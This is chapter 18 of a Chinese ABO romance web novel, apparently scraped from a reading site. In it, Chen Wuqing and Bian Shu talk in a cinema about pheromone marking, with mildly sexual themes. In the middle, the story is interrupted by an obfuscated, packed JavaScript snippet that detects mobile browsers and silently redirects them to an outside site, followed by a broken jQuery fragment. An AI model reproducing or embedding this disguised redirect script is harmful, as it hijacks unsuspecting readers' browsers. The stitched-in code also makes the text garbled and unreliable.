18.第18章

作品:《普通人,但1了顶A

    陈雾轻的性格认识久了其实挺好摸的,像一张小巧的田字格,有人循规蹈矩写中文,那纸张透出来的字迹一笔一划。


    要是有人不守规矩当草纸写,随手画画,他也悉数尽收,大方地把原本的田字格弄没。


    所以他有时给人的感觉不通人性,有时候又觉得他满嘴情话的轻浮。


    懵懂和迟钝构成陈雾轻真正性格的一部分,要是看他展现出什么不得了的东西,那肯定是看到什么新奇玩意当好东西学去了。


    这些东西,直到坐在电影院里,卞述才后知后觉。


    卞述的手掌抚开陈雾轻额边的碎发:“先不急,告诉我,这话谁教你的?”


    等陈雾轻说完那句话,他的眉尾渐渐拉平,眨眨眼睛,又恢复到平时安安静静的乖软。


    “嗯…”


    在卞述的视线中,陈雾轻掏掏掏,还真叫他从兜里掏出来一个小本,被带出来的还有一块柠檬薄荷糖。


    卞述低下头,把它捡起来,电影还没放完,影厅里的视线不算太好,他抬了下下巴:“你随身携带笔记?”


    陈雾轻老实回答:“这个叫提高氛围感的恋爱秘籍一百次小妙招,我从网上九块九包邮买的。”


    他这么说完,卞述就明白了,合着这小子的情场老手,给他哄得跟个傻子似的,全都是看来别人经验来的。


    他没觉得有什么,看着乖乖望他的陈雾轻,反倒乐了:“好用吗?”


    “好用哇。”


    陈雾轻连点三下头:“你每次见我都脸红,不会跑,但是只要我照这个小本子上面说的话重复给你,你要出去很久才回来。”


    卞述:“……”


    他天天就这么被忽悠来忽悠去。


    他问:“你对别人说过这些话吗?”


    陈雾轻:“没有,只对你说过。”


    因为本子刚买,没人让他试验。


    卞述听完,觉得心都飘呼呼的,他屈起食指抵在陈雾轻的唇面上:“张嘴。”


    他也不知道自己怎么鬼使神差地做出了这个动作。


    也许是影片放至高.潮部分的曲子,也许是电影画面越映越昏暗的环境,他听着自己飘然的内心,像是被情绪迷惑了一般。


    打架从不露怯的少年,在外极具攻击性的少年,骨子里野得没边不听人使唤的少年,睫毛垂了垂,却是顺从地张开了嘴巴,也带点疑惑,鼻子里露出点气音:“…啊?”


    轻轻地,乖乖地张出来。


    殷红的舌尖软软地搭在齿壁,那是人体很柔软脆弱的位置。


    半点不保留地,都给他看。


    此刻,有一种极其疯狂,完全无法形容的心情以足以穿透他神经屏障的完全刺入他的大脑。


    他感到自己的腺体在隐隐发烫。


    每一根跳动的神经都在吵嚷着,标记他,标记他,标记他,标记他,标记他,标记他,标记他,标记他,标记他,标记他……


    想要完完全全地,占有他。


    卞述的目光暗了暗,他手指抖了下,指骨轻抵过陈雾轻的虎牙位置:“这个地方,有磨过吗?”


    陈雾轻含糊不清:“没磨过呀,为什么要磨牙齿。”


    卞述的手指离开那个位置:“你以前学过关于abo的基础知识吗?”


    陈雾轻完全没懂他在说什么,甚至还打了个哈欠:“没有。”


    他就知道。


    卞述想,因为有时候陈雾轻表现疑惑的地方很奇怪,一个没有上过学前班的小孩子都懂得的事情,偏偏陈雾轻真的不理解。


    “一般来说,只有Alpha的齿牙才会长的很尖,极为少数的omega会长虎牙,普遍也长得很圆钝。”卞述缓了缓语气:“因为不同性别的齿牙有着不同的作用。”


    这是一个更加新奇的事情,陈雾轻试图学习:“所以你的意思,牙齿不光是用来吃饭,它还能干别的。”


    “是。”


    “能干什么呢?”


    卞述没有回到原本的座位,他们之间依旧保持着若有若无的距离,陈雾轻就好像被他圈在怀里,用着求知,完全信任的目光望着他。


    陈雾轻的黑色瞳孔很清透,干干净净的。


    那会让卞述萌生种错觉,无论接下来他说了什么,说的话有多离谱,哪怕不是一件真事,他瞎说的,他随便编造的,陈雾轻也毫不怀疑地相信他。


    卞述的嗓音低了下来,他轻声道:“用来注射信息素。”


    他说:“直到完成标记。”


    他徒然心抖动一下。


    陈雾轻想了一会,才想起从哪听过这个词,他的眼眸渐渐抬起来:“这就是护士姐姐之前提到过的临时标记。”


    卞述静静地等陈雾轻把话讲完,才开口:“不光是临时标记,还可以进行永久标记。”


    咬破腺体,注入信息素,交.配行为彻底完成,直到在体内成.扎.成.结。


    从此以后,omega与alpha永远无法离开,直到死也不能断开连接。


    陈雾轻哦了一声,鼻子动了动,靠近他脖子嗅:“我好像又闻到你的信息素味了。”


    他在被充满卞述信息素的狭小空间中,右手忽然按在卞述肩膀上,语气笃定:“所以你刚刚不是想亲我,你是想标记我,对吗?”


    好几次了,这些大胆的话就连性格最外放开朗,和人在暧昧期主动诱惑的omega也说不出来。


    卞述闭了闭眼,深吸一口气,道:“标记是慎重需要考虑的事情,要你情我愿,而且在结婚之前,不可以完全标记。”


    他低头望着陈雾轻,纠结再三,才开口:“如果你这个月的…”


    “发.情.期到了,你…提前和我说…”他艰难地,一字一顿道。


    陈雾轻:“……”


    又!来!了!


    他的天老爷啊。


    他听不懂,他真的听不懂。


    刚才卞述摸他虎牙的时候,他以为要让他磨平呢,不过每个人平等长大,长成一样才有鬼了呢。


    结果给他扯出来一个注射什么什么素。


    他感觉好像回到高中听生物一样,他都听困了哇!


    陈雾轻不想在学校以外的地方学习,他只想混水摸鱼。


    于是他随口道:“可你不是想要我吗?”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358629|183342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他顿了顿,想一想:“奥,说得不对,是标记我。”


    陈雾轻看着卞述,说:“你为什么要忍着?你想标记就标记呀。”


    他脸上是赤裸裸的困惑和迷茫,话语轻轻的,在电影放映的声音显得小小的,像是只脱离方向只想解决温饱的幼兽。


    卞述忽然捏了捏他的耳垂,很重的捏了一下,陈雾轻没觉得疼,只觉得特别痒,眼睛随之眯起,肩膀耸起来,这也没躲开。


    他咬牙切齿:“你知不知道标记是什么意思,你还挺大方的。”


    卞述现在的目光很像是第一次他们遇见似的,冷翠墨绿色的眸子紧紧盯着他,比和死刑犯一对一打斗还吓人。


    好久没被这么盯过了,陈雾轻好像一下回到久违的审讯室,就差和审讯者耍滑头瞎编乱造了。


    他试图挣扎,伸出自己一只手:“等等,我有话想说。”


    卞述:“说。“


    陈雾轻也没什么胡编的方向,茫然地问:“关于这个标记,我会疼吗?”


    以他目前的拙见来讲,他觉得标记可能是同性之间的某种行为,结合之前的语境来看,估计是和东北搓澡没什么区别的事。


    搓澡有什么可怕的。


    他不怕疼,倒是挺怕痒的。


    但就着卞述那吓人吧啦的目光,他默默把痒换成疼,显得话听着正经一些。


    临时标记和永久标记还是有很大区别的,前者在于,咬破腺体的那一瞬间,脑内生成的混沌思绪比较多,很多人迷迷糊糊地,不知不觉就结束了。


    且临时标记,很多要好的异性朋友之间也可以做,缓解一时需要,注入的信息素几个月就可以完全消散。


    后者要另当别论,与性.爱等同的姿势,第一次总会伴随着疼痛出现,哪怕再轻,再缓,体质越弱的omega反应越强烈。


    通过信息素可以判断一个omega是否结婚,伴侣给予的,长达一周反反复复注入的浓烈信息素,会让这个omega像被深深打入印记一般,其他异性只要一接近都会不由得躲开。


    精神力越强,印记越深。


    对着这个漫天胡话乱飞的陈雾轻,卞述快把牙齿咬碎,又真是拿他一点办法也没有。


    卞述的食指与中指摩挲着手下柔软触感,目光晦涩不明,半晌,道:“我不会让你疼。”


    舍不得。


    这三个字他觉得矫情,没说出口。


    听完他的话,陈雾轻侧了侧脸,眼神往下挪,示意他动一下,卞述就这么愣愣地看着他,姿势也不变,他们二人的目光在昏暗的环境下相接。


    “哎呀。”陈雾轻一下把卞述抵在他耳洞附近的手拿下来,重新换了一个位置放在他们中间的椅背上。


    卞述的手就这么垂在半空中,陈雾轻可会享受了,他重新找了个舒舒服服的位置,小饮料和卷卷薯条抱在怀里。


    他把头毫无预兆地枕在卞述手上,咬着薯条,含糊不清道:“你不让我疼。”


    “我就让你标记呗。”


    他想了想,随口道:“你愿意标记几回就几回。”


    做人嘛。


    大方一点啦。